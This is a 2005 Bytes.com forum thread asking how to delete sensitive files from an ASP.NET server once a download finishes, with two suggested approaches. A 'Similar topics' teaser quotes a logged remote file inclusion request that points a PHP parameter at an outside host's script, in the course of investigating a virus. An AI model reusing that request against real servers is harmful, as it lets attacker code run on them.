473,651 Members | 2,659 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Delete file after download

Hi.
In my application I'm handling sensitive files. I copy them from a file
server and onto the webserver, but I have to delete them again as soon as
the user is finished with his download. Is that possible? Is there some
way to detect when the download is finished? And if so I'm guessing that I
can't use response.redire ct ot server.transfer because then the delete code
will never run... Any ideas?

Thanks,
Shawn
Nov 18 '05 #1
2 5844
Instead of transferring the file to the server, is it possible to just read
it into a memory stream and then response.binary write this memory stream to
the client's browser? With the response.conten t set correctly, this should
allow a download to the client's computer.

"Shawn" <bo********@hot mail.com> wrote in message
news:%2******** ********@TK2MSF TNGP12.phx.gbl. ..
Hi.
In my application I'm handling sensitive files. I copy them from a file
server and onto the webserver, but I have to delete them again as soon as
the user is finished with his download. Is that possible? Is there some
way to detect when the download is finished? And if so I'm guessing that I can't use response.redire ct ot server.transfer because then the delete code will never run... Any ideas?

Thanks,
Shawn

Nov 18 '05 #2
Record the file paths in Session when the user downloads them, and delete
them all in the Session_End Event Handler.

--
Kevin Spencer
..Net Developer
Microsoft MVP
Big things are made up
of lots of little things.

"Shawn" <bo********@hot mail.com> wrote in message
news:#V******** ******@TK2MSFTN GP12.phx.gbl...
Hi.
In my application I'm handling sensitive files. I copy them from a file
server and onto the webserver, but I have to delete them again as soon as
the user is finished with his download. Is that possible? Is there some
way to detect when the download is finished? And if so I'm guessing that I can't use response.redire ct ot server.transfer because then the delete code will never run... Any ideas?

Thanks,
Shawn

Nov 18 '05 #3

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

0
1825
by: Peter A. Schott | last post by:
Got a strange scenario going on here in that I could have sworn this worked yesterday. I am issuing binary retrieval calls to an FTP server, writing to a file, close the file, then removing the file from the remote site. When I do this, I end up with 0 byte files. I was hoping to avoid parsing a list of remote and local files and matching them up that way because it would be easier to remove on successful retrieve. I'm including some...
2
6969
by: John Smith | last post by:
Hello all, I don't know c# that well and thus need urget help. I have a page that displays files from an access database that has a button to be delet file from database. I need a confirmation box to make sure the user wants to delet the file. Here is my code: private string GetFilesFromAccessDb() {
2
2253
by: TOI DAY | last post by:
Hi all, How can I delete the file on the server after the user download it? For example: I have file name "123.txt" on a server, I copy it to "ABC.txt", then allow uer download the "ABC.txt" file, then I try to delete file "ABC.txt", but I can not do it. I can delete the ABC.txt before I copy it.
2
1520
by: Mark | last post by:
Here is what I am hoping to accomplish: 1. Connect to FTP server - I can do this. 2. Download file contained in the directory that I connect to. 3. Delete file contained on the ftp server. 4. Repeat steps 2 and 3 until all files are out of there. Can anyone give me any direction on this? I know how to download a file if I know the name of it before starting but I don't know how to download a file and then delete that file from the...
9
10259
by: groleo | last post by:
Hi list. Simple question: is it possible to override the global new/delete operators, without using malloc/free? I mean something in the ideea of the code below, which doesnt work cause of the recursivenes. What I'm trying to say is how to override new/delete using the original global
4
10616
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
0
1569
by: ravirajdanasekaran | last post by:
I have written a web form which downloads files to the client automatically. After the download completes, I would like to delete the file that was downloaded. I can't tell how to wait until the download has completed to delete the file, if I run the File.Delete(filepath) command after Response.WriteFile(filepath), the file is deleted before it can be downloaded. Any suggestions?
2
14998
by: SCPOS | last post by:
Cannot delete X: It is being used by another person or program. Close any programs that might be using the file and try again. Of course I have tried closing any programs I know of that may be using the file (used X because the filename does not matter...it is a specific log file name to the application). I am logged onto a Windows Server 2003 computer that acts as a server for a LAN, but is physically joined to a domain. The local...
107
11294
by: bonneylake | last post by:
Hey Everyone, Well for the last few days i been trying to figure out how to delete attachments and download attachments to my computer. The deleting is sort of working and i don't know where to begin on downloading. Right now with the deleting it will delete from the attachments folder on the server but it does not delete from the database an was wondering if someone could explain what i am doing wrong on deleting attachments and how i could...
0
8347
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
8275
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
1
8457
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
8571
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
7294
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
4143
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
4280
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
2696
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
1
1905
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.